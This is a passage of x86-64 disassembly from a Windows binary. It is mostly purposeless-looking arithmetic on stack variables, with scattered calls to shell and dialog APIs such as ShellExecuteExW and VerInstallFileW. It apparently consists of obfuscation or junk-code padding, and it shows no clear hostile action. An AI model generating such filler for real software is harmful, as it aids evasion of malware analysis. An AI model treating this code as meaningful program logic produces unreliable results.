mov rcx, qword [rsp + 0xdbe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9548], rax
mov eax, dword [rsp + 0x70e0]
movzx ecx, al
mov eax, dword [rsp + 0x718c]
shr eax, cl
mov dword [rsp + 0x5dc0], eax
mov rax, qword [rsp + 0xed48]
mov rax, qword [rax]
mov qword [rsp + 0xfe58], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [0x14019d1bc]
or eax, ecx
mov word [0x14019d3b8], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1634], ax
mov rax, qword [rsp + 0xf548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ef0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6288], eax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b7]
add eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb120]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe320], rax
lea rax, [rsp + 0x55f]
mov qword [rsp + 0xfe60], rax
mov eax, dword [rsp + 0x61d0]
mov ecx, dword [0x14019d0b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x70e0], eax
lea rax, [rsp + 0xfdd0]
mov qword [rsp + 0xfe68], rax
mov rax, qword [rsp + 0xd750]
movsx eax, word [rax]
movsx ecx, word [0x14019f20c]
shl eax, cl
mov word [rsp + 0x2cdc], ax
lea r9, [rsp + 0xd8b8]
lea r8, [rsp + 0xd038]
lea rdx, [rsp + 0x1e920]
mov rcx, qword [rsp + 0xe6e0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x7280], eax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ed8]
sar eax, cl
mov word [0x14019d304], ax
mov rax, qword [rsp + 0xe8b0]
mov rcx, qword [rsp + 0xe9d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xeb70], rax
mov rax, qword [0x14019f728]
movzx eax, word [rax]
mov word [rsp + 0x327c], ax
mov rax, qword [rsp + 0xdd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ab8]
add eax, ecx
mov rcx, qword [rsp + 0xf860]
mov word [rcx], ax
lea rax, [rsp + 0xed28]
mov qword [rsp + 0xfe70], rax
mov rax, qword [rsp + 0xf570]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x221]
add eax, ecx
mov byte [rsp + 0x76], al
xor edx, edx
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdd50]
div dword [rcx]
mov dword [rsp + 0x7040], eax
mov rax, qword [rsp + 0xd4b0]
mov qword [rsp + 0xfe78], rax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d08], ax
mov rax, qword [rsp + 0xf620]
mov rcx, qword [rsp + 0xde38]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14019f1b8], rax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xfd50]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1c7], al
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xedf8]
mov qword [rsp + 0xfe80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfe80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6f38], eax
movsx eax, word [rsp + 0x2cdc]
movsx ecx, word [rsp + 0x2c80]
sar eax, cl
mov word [rsp + 0x2c74], ax
lea rdx, [rsp + 0xd368]
mov rcx, qword [rsp + 0xd688]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x6f04], eax
mov rax, qword [rsp + 0xf3b8]
movzx eax, word [rax]
mov word [rsp + 0x3280], ax
mov rax, qword [rsp + 0xea78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xddd8], rax
mov rax, qword [rsp + 0xe4b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x33a]
sub eax, ecx
mov byte [rsp + 0x270], al
mov eax, dword [0x14019efb0]
imul eax, dword [rsp + 0x6b54]
mov dword [rsp + 0x719c], eax
movsx eax, word [rsp + 0x3138]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
mov word [0x14019f7cc], ax
mov rax, qword [rsp + 0xb9e8]
mov qword [rsp + 0xfe88], rax
mov rax, qword [rsp + 0xd7a8]
mov rcx, qword [rsp + 0xa080]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd8f0], rax
lea rcx, [rsp + 0xd6a8]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xd6a8], rax
lea rax, [rsp + 0xd538]
mov qword [rsp + 0xfe90], rax
movsx eax, word [0x14019d108]
movsx ecx, word [rsp + 0x2d80]
shl eax, cl
mov rcx, qword [rsp + 0xd2d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xdd18]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc878], rax
mov rax, qword [rsp + 0xf0f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x496]
sar eax, cl
mov byte [rsp + 0x5a7], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7178]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe618]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5850]
mov dword [rsp + 0x7284], eax
mov rax, qword [rsp + 0xe760]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5c3]
and eax, ecx
mov rcx, qword [rsp + 0xd1d8]
mov byte [rcx], al
movsx eax, word [rsp + 0xbdc]
movsx ecx, word [rsp + 0x2bf8]
sub eax, ecx
mov word [0x14019d26c], ax
movzx eax, word [rsp + 0x2c94]
mov word [rsp + 0x3284], ax
mov rax, qword [rsp + 0xead0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0xad88]
mov rcx, qword [rsp + 0xf410]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe740]
mov qword [rcx], rax
mov rax, qword [0x14019f3b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc670]
shr rax, cl
mov qword [rsp + 0xbfd8], rax
mov eax, dword [rsp + 0x6d48]
mov rcx, qword [rsp + 0xd0d0]
mov qword [rsp + 0xfe98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfe98]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x710c], eax
mov rax, qword [rsp + 0xce70]
movzx eax, byte [rax]
mov byte [rsp + 0x5f0], al
movsx eax, word [rsp + 0x1fa8]
movsx ecx, word [rsp + 0xdf0]
sub eax, ecx
mov word [rsp + 0x2e84], ax
mov rax, qword [rsp + 0xeed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fec]
add eax, ecx
mov word [rsp + 0x2cec], ax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov qword [0x14019f7d0], rax
movzx eax, word [rsp + 0x3144]
movzx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov word [rsp + 0x1408], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xcc68]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdb98]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf1c0]
mov qword [rsp + 0xfea0], rax
mov rax, qword [0x14019f0f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa860]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e58], rax
movzx eax, byte [rsp + 0x461]
mov byte [rsp + 0x5f1], al
mov rax, qword [rsp + 0xeb98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe7b0]
mov qword [rsp + 0xfea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfea8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5ce8], eax
mov rax, qword [rsp + 0xe9a8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
shl eax, cl
mov byte [rsp + 0x15a], al
mov eax, dword [rsp + 0x714c]
mov ecx, dword [rsp + 0x6b54]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b14], eax
mov rax, qword [rsp + 0xdd10]
movsx eax, word [rax]
mov rcx, qword [0x14019f400]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14019d3bc], ax
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ad8]
or eax, ecx
mov word [rsp + 0x308c], ax
lea rcx, [rsp + 0x20890]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x7288], eax
mov rax, qword [rsp + 0xe2a8]
movzx eax, word [rax]
mov word [rsp + 0x3288], ax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x302c]
sub eax, ecx
mov word [rsp + 0x1804], ax
mov rax, qword [rsp + 0xf990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x712c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xfcb0]
mov dword [rcx], eax
lea rax, [rsp + 0xaaf8]
mov qword [rsp + 0xfeb0], rax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x596], al
mov rax, qword [rsp + 0xde90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd818]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x27d4], ax
movzx eax, word [rsp + 0x2f48]
movzx ecx, word [rsp + 0x2954]
sub eax, ecx
mov rcx, qword [rsp + 0xd7a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xda20]
mov rcx, qword [rsp + 0xb558]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019f148], rax
mov rax, qword [rsp + 0xf148]
mov rcx, qword [rsp + 0xe770]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdfc0], rax
mov rax, qword [0x14019f758]
mov rax, qword [rax]
mov qword [rsp + 0xfeb8], rax
mov rax, qword [rsp + 0xfaf8]
mov rcx, qword [rsp + 0xb020]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd548]
mov qword [rcx], rax
lea rax, [rsp + 0xf84]
mov qword [rsp + 0xfec0], rax
movzx eax, byte [rsp + 0x578]
mov rcx, qword [rsp + 0xe760]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ad], al
mov rax, qword [rsp + 0xf398]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70ec], eax
mov rax, qword [rsp + 0xc330]
mov qword [rsp + 0xfec8], rax
mov rax, qword [rsp + 0xfba0]
movsx eax, byte [rax]
mov rcx, qword [0x14019f198]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x516], al
mov rax, qword [rsp + 0xdfa8]
mov eax, dword [rax]
mov dword [0x14019f7d8], eax
lea rax, [rsp + 0xfc60]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xd360]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xcde8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xe588]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xfed0]
mov r8, qword [rsp + 0xfab0]
mov rdx, qword [rsp + 0xf5e0]
mov ecx, 0xcc
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x6d24], eax
mov rax, qword [rsp + 0xfa98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
and eax, ecx
mov word [rsp + 0x1abc], ax
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [0x14019f190]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3204], ax
movzx eax, word [rsp + 0x2990]
mov word [rsp + 0x328c], ax
mov rax, qword [rsp + 0xe858]
mov rcx, qword [rsp + 0xf460]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc808], rax
mov rax, qword [0x14019f198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe1d0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1e5], al
mov eax, dword [rsp + 0x6508]
mov ecx, dword [rsp + 0x6fdc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x669c], eax
mov rax, qword [rsp + 0xd9a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xea78]
mov qword [rsp + 0xfed8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfed8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov word [rsp + 0x3290], ax
mov rax, qword [rsp + 0xf940]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b1c]
or eax, ecx
mov word [0x14019f0e4], ax
mov rax, qword [0x14019d148]
movzx ecx, al
mov rax, qword [rsp + 0xe778]
shl rax, cl
mov qword [rsp + 0xe390], rax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf248]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb98], ax
mov eax, dword [rsp + 0x6784]
mov dword [rsp + 0x728c], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d010]
sub eax, ecx
mov byte [rsp + 0x105], al
lea rax, [rsp + 0x5ab]
mov qword [rsp + 0xfee0], rax
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb650]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd5f8], rax
mov eax, dword [rsp + 0x5a28]
mov ecx, dword [0x14019d1dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x691c], eax
movsx eax, word [rsp + 0x2ac0]
mov rcx, qword [rsp + 0xf2e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2088], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x254c]
shl eax, cl
mov word [0x14019d310], ax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf620]
mov qword [rsp + 0xfee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfee8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xfaf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd000]
mov qword [rsp + 0xfef0], rax
mov rax, qword [rsp + 0xdf90]
movsx eax, word [rax]
mov rcx, qword [0x14019f600]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2f58], ax
movzx eax, word [rsp + 0xf84]
movzx ecx, word [rsp + 0x2ac8]
sub eax, ecx
mov word [rsp + 0x1fc0], ax
xor r8d, r8d
lea rdx, [rsp + 0x1fce0]
lea rcx, [rsp + 0x1efc0]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x7290], eax
movsx eax, byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties]
mov rcx, qword [rsp + 0xf3f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5d4], al
mov rax, qword [rsp + 0xeff0]
mov eax, dword [rax]
mov ecx, dword [0x14019f0c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7194], eax
lea rax, [rsp + 0x9d38]
mov qword [rsp + 0xfef8], rax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9d8]
mov qword [rsp + 0xff00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xee80], rax
mov rax, qword [rsp + 0xddb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc8c]
sar eax, cl
mov word [0x14019d3c0], ax
movzx eax, word [rsp + 0x2400]
mov word [rsp + 0x3294], ax
movzx eax, byte [rsp + 0x528]
movzx ecx, byte [0x14019d010]
or eax, ecx
mov byte [rsp + 0x581], al
mov eax, dword [rsp + 0x68b8]
mov ecx, dword [rsp + 0x695c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x61f8], eax
mov rax, qword [rsp + 0xecf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf9d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5e8], rax
movsx eax, byte [0x14019ef9b]
mov rcx, qword [rsp + 0xe308]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5f0], al
mov rax, qword [rsp + 0xfb38]
mov eax, dword [rax]
mov dword [rsp + 0x7294], eax
mov rax, qword [rsp + 0xf140]
mov rcx, qword [rsp + 0xc878]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xf330], rax
lea rcx, [rsp + 0x1f8c0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x6d88], eax
movsx eax, word [0x14019f20c]
mov rcx, qword [rsp + 0xd818]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2e8c], ax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
mov word [0x14019f7dc], ax
mov rax, qword [rsp + 0xed10]
mov rax, qword [rax]
mov qword [rsp + 0xff08], rax
mov rax, qword [rsp + 0xead0]
movzx eax, word [rax]
mov rcx, qword [0x14019f0d8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd7f0]
mov word [rcx], ax
lea rax, [rsp + 0x2324]
mov qword [rsp + 0xff10], rax
mov rax, qword [rsp + 0xab00]
mov rcx, qword [rsp + 0xd478]
mov qword [rsp + 0xff18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff18]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe7d8], rax
mov rax, qword [0x14019f3b0]
mov rcx, qword [rsp + 0xd608]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xed68], rax
mov rax, qword [rsp + 0xf2b8]
mov ecx, dword [rsp + 0x6d70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x605c], eax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef96]
add eax, ecx
mov rcx, qword [rsp + 0xeae8]
mov byte [rcx], al
mov rax, qword [rsp + 0xebd0]
movzx eax, word [rax]
mov word [rsp + 0x3298], ax
mov rax, qword [rsp + 0xe3a8]
mov rcx, qword [rsp + 0xdc78]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019f558], rax
movzx eax, byte [rsp + 0x58d]
movzx ecx, byte [0x14019ef90]
sar eax, cl
mov byte [rsp + 0x581], al
mov rax, qword [rsp + 0xf888]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6784]
shl eax, cl
mov dword [rsp + 0x663c], eax
movsx eax, word [rsp + 0x2c00]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2e28], ax
movzx eax, word [rsp + 0x3174]
movzx ecx, word [rsp + 0x24fc]
add eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0xec48]
mov rax, qword [rax]
mov qword [rsp + 0xff20], rax
mov rax, qword [rsp + 0xdc60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x661c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c9c], eax
movzx eax, byte [rsp + 0x175]
mov byte [rsp + 0x5f2], al
mov rax, qword [rsp + 0xfb18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x116c], ax
movzx eax, word [rsp + 0x2f80]
mov rcx, qword [rsp + 0xecb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019f108], ax
mov rax, qword [rsp + 0xe8f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xebd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdd90]
mov qword [rcx], rax
lea r9, [rsp + 0xdf50]
lea r8, [rsp + 0xd4e8]
mov edx, 0x42
mov rcx, qword [rsp + 0xf1b8]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0xe288], rax
mov rax, qword [rsp + 0xf770]
movzx ecx, al
mov rax, qword [rsp + 0xb400]
sar rax, cl
mov qword [rsp + 0xabc0], rax
mov rax, qword [rsp + 0xe918]
mov rcx, qword [0x14019f540]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xfcb8], rax
mov rax, qword [rsp + 0xe828]
movzx eax, word [rax]
mov word [rsp + 0x329c], ax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xebe8]
mov qword [rsp + 0xff28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff28]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xee30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xfd80]
mov byte [rcx], al
mov rax, qword [rsp + 0xdd00]
mov rcx, qword [rsp + 0xd3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5c94], eax
mov eax, dword [rsp + 0x6850]
mov ecx, dword [rsp + 0x5b24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6980], eax
lea rcx, [rsp + 0x20060]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x7298], eax
mov rax, qword [rsp + 0xfae0]
movzx eax, byte [rax]
mov byte [rsp + 0x5f3], al
lea rax, [rsp + 0x2b10]
mov qword [0x14019f7e0], rax
movzx eax, word [rsp + 0x2ad4]
movzx ecx, word [rsp + 0x30d4]
sar eax, cl
mov word [rsp + 0x2f90], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf630]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3050], ax
mov rax, qword [rsp + 0xc508]
mov qword [rsp + 0xff30], rax
mov rax, qword [0x14019f3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfdd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xeb20], rax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xea28]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2da], al
xor edx, edx
mov rax, qword [rsp + 0xeff0]
mov eax, dword [rax]
div dword [rsp + 0x669c]
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe598]
movzx eax, word [rax]
mov word [rsp + 0x32a0], ax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xfd90]
mov word [rcx], ax
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xe4d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019d2c8], rax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x24e8], ax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf9f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xacc8], rax
mov rax, qword [rsp + 0xd950]
mov rcx, qword [rsp + 0xe740]
mov qword [rsp + 0xff38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd048], rax
lea rax, [rsp + 0x6edc]
mov qword [rsp + 0xff40], rax
movsx eax, byte [rsp + 0x4b1]
mov rcx, qword [rsp + 0xeed8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe058]
mov byte [rcx], al
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14c]
sub eax, ecx
mov byte [rsp + 0x502], al
mov eax, dword [rsp + 0x63c8]
mov dword [rsp + 0x729c], eax
mov rax, qword [rsp + 0xe580]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf320]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd400], rax
movzx eax, word [0x14019d07c]
mov word [0x14019f7e8], ax
movsx eax, word [rsp + 0x18ac]
movsx ecx, word [rsp + 0x2e54]
add eax, ecx
mov word [rsp + 0x1b88], ax
mov rax, qword [rsp + 0xef10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b14]
add eax, ecx
mov word [rsp + 0x3234], ax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf1e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ccc], ax
mov eax, dword [rsp + 0x71d0]
mov dword [rsp + 0x72a0], eax
mov rax, qword [rsp + 0xf758]
movsx eax, byte [rax]
mov rcx, qword [0x14019f320]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0xf2e8]
mov rax, qword [rax]
mov qword [rsp + 0xff48], rax
mov rax, qword [rsp + 0xf9c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ee0]
or eax, ecx
mov rcx, qword [rsp + 0xe148]
mov word [rcx], ax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e38]
and eax, ecx
mov word [rsp + 0xd50], ax
mov rax, qword [rsp + 0xe4b0]
mov rcx, qword [rsp + 0xe2a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14019f178], rax
mov rax, qword [rsp + 0xe4d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xec50]
mov qword [rsp + 0xff50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa3d0], rax
mov rax, qword [0x14019f0d0]
mov rcx, qword [rsp + 0xbcf8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe338], rax
mov rax, qword [rsp + 0xdd68]
mov rax, qword [rax]
mov qword [rsp + 0xff58], rax
mov rax, qword [rsp + 0xf090]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xebb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x24d4], ax
mov eax, dword [rsp + 0x6ec8]
mov ecx, dword [0x14019efa8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cbc], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf8c0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5ac], al
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
mov rcx, qword [0x14019f010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fc0], rax
mov eax, dword [rsp + 0x6f08]
mov dword [rsp + 0x72a4], eax
movsx eax, byte [rsp + 0x4f9]
movsx ecx, byte [rsp + 0x317]
sub eax, ecx
mov byte [0x14019d015], al
mov rax, qword [rsp + 0xf860]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ee0]
add eax, ecx
mov word [rsp + 0x171c], ax
mov rax, qword [rsp + 0xd878]
movzx eax, word [rax]
mov word [rsp + 0x32a4], ax
movzx eax, word [rsp + 0x327c]
mov rcx, qword [rsp + 0xee18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3158], ax
mov rax, qword [rsp + 0xdb50]
mov rcx, qword [0x14019d378]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1a8], rax
movsx eax, byte [rsp + 0x46a]
mov rcx, qword [rsp + 0xef48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x46e], al
xor edx, edx
mov eax, dword [rsp + 0x6d64]
mov rcx, qword [0x14019f6f8]
div dword [rcx]
mov dword [rsp + 0x6d28], eax
lea rax, [rsp + 0x9a70]
mov qword [rsp + 0xff60], rax
movsx eax, word [rsp + 0x20a4]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3248], ax
mov rax, qword [rsp + 0xecb8]
movzx eax, word [rax]
mov word [0x14019f7ec], ax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xbe10]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9b10], rax
movzx eax, word [rsp + 0x31f0]
mov word [rsp + 0x32a8], ax
mov eax, dword [rsp + 0x5a2c]
